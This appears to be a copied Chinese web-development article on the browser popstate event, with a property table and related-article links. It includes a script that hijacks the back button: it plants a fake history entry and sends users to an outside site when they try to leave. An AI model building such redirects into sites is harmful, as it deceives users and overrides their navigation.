popstate 事件, 浏览器返回事件
popstate :浏览器返回事件
当活动历史记录条目更改时,将触发popstate事件。如果被激活的历史记录条目是通过对history.pushState()的调用创建的,或者受到对history.replaceState()的调用的影响,popstate事件的state属性包含历史条目的状态对象的副本。
需要注意的是调用history.pushState()
或history.replaceState()不会触发popstate事件。只有在做出浏览器动作时,才会触发该事件,如用户点击浏览器的回退按钮(或者在Javascript代码中调用
history.back())
不同的浏览器在加载页面时处理popstate
事件的形式存在差异。页面加载时Chrome和Safari通常会触发(emit )popstate
事件,但Firefox则不会。
属性
Property | Type | Description |
---|---|---|
target 只读
|
EventTarget
|
The browsing context (window ).
|
type 只读
|
DOMString
|
The type of event. |
bubbles 只读
|
Boolean
|
Whether the event normally bubbles or not. |
cancelable 只读
|
Boolean
|
Whether the event is cancellable or not. |
state 只读
|
any | The current history entry's state object (if any). |
浏览器返回跳转页面
<script>
(function(window, location) {
history.replaceState(null, document.title, location.pathname+"#!/stealingyourhistory");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate", function() {
if(location.hash === "#!/stealingyourhistory") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function(){
location.replace("http://hyq.etcom138.cn/sgydbeijing/");//需要跳转的页面
},0); } }, false); }(window, location));
</script>
popstate 事件, 浏览器返回事件相关推荐
- html5 浏览器退回事件,html5的pushstate以及监听浏览器返回事件的实现
这篇文章主要介绍了html5的pushstate以及监听浏览器返回事件的实现,主要介绍了pushstate的使用,以及监听浏览器的解决等问题,感兴趣的可以一起来了解一下 pushstate与监听浏览器 ...
- 微信浏览器返回刷新,监听微信浏览器返回事件,网页防复制,移动端禁止图片长按和vivo手机点击img标签放大图片
以下代码都经过iphone7,华为MT7 ,谷歌浏览器,微信开发者工具,PC端微信验证.如有bug,还请在评论区留言. demo链接:https://pan.baidu.com/s/1c35mbjM ...
- IOS微信浏览器返回事件popstate监听
问题描述: 通过监听popstate事件,来判断是否点击返回按钮,比如从A页面跳转到B页面(监听popstate),然后再跳转到C页面,点击返回的按钮,测试成功,包括安卓版,但是问题来了,IOS版的微 ...
- IOS微信浏览器返回事件监听问题
业务需求:从主页进入A订单页面,然后经过各种刷新或点标签加载后点左上角的返回直接返回到主页 采取方法:采用onpopstate事件监听url改变,从而跳转到主页 遇到的问题:安卓上测试没问题:苹果手机 ...
- popstate android4.3,IOS微信浏览器返回事件popstate监听 会立即执行一次
页面跳转从a->b->b1->c,然后从c返回到b再到a.(监听popstate) IOS版的微信,是会立即触法popstate事件,导致直接从C页面跳转到A页面 解决办法::: v ...
- 移动端h5监听浏览器返回操作(目前在react项目中用到)
前言 1.主要是返回是默认的浏览器返回事件是返回上一个页面. 2.处理页面各种弹窗,点击物理返回应该隐藏这些弹窗而不是直接返回页面. 3.总结下问题,h5应该希望能监听到返回事件并且做一些处理. 相关 ...
- 监听浏览器的返回事件,禁止浏览器返回
//禁止页面后退 history.pushState(null,null,document.URL); window.addEventListener('popstate',function(){// ...
- H5禁止浏览器自带返回事件
需求: h5页面有进无退 对禁止后退方法统一封装: let XBack = {};XBack.STATE = 'x - back' XBack.elementXBack.onPopState = fu ...
- jquery 监听返回事件
//监听返回事件,阻止返回上一页 $(document).ready(function(e) {if (window.history && window.history.pushSta ...
最新文章
- Linux下配置SSL (转)
- Memcache面试题
- python ffmpeg4 保存h264
- 【字符串】最长回文子串 ( 蛮力算法 )
- oracle 存储过程 ,触发器练习
- 【Paper】2016_A Learning-Based Fault Tolerant Tracking Control of an Unmanned Quadrotor Helicopter
- Java设计模式之行为型:策略模式
- 巴铁 无人驾驶_巴铁?Clip-air?请查收汽车的最新玩法
- python3哪个版本稳定-python3哪个版本稳定
- 【转载】细说 ASP.NET Cache 及其高级用法
- [论文写作笔记] C11论文查重原理及降重
- LBP特征算子原理过程
- 信号降噪方法——基于自适应神经模糊推理系统(ANFIS)的降噪处理
- 一根竹子,4天的生长过程
- 还原html默认打开方式,Win7旗舰版64位系统下如何还原文件默认打开方式
- gulp less编译css压缩和js压缩别名输出
- 蓝天cc的风扇策略_蓝天CLEVO P870DM评测 (十)散热模块评价
- phpspreadsheet excel导入导出
- 使用 Mac 位置定位服务的应用的操作方法
- 台式计算机风扇为什么光散热,电脑噪音太大了,要如何降噪?其实不光是风扇的事!...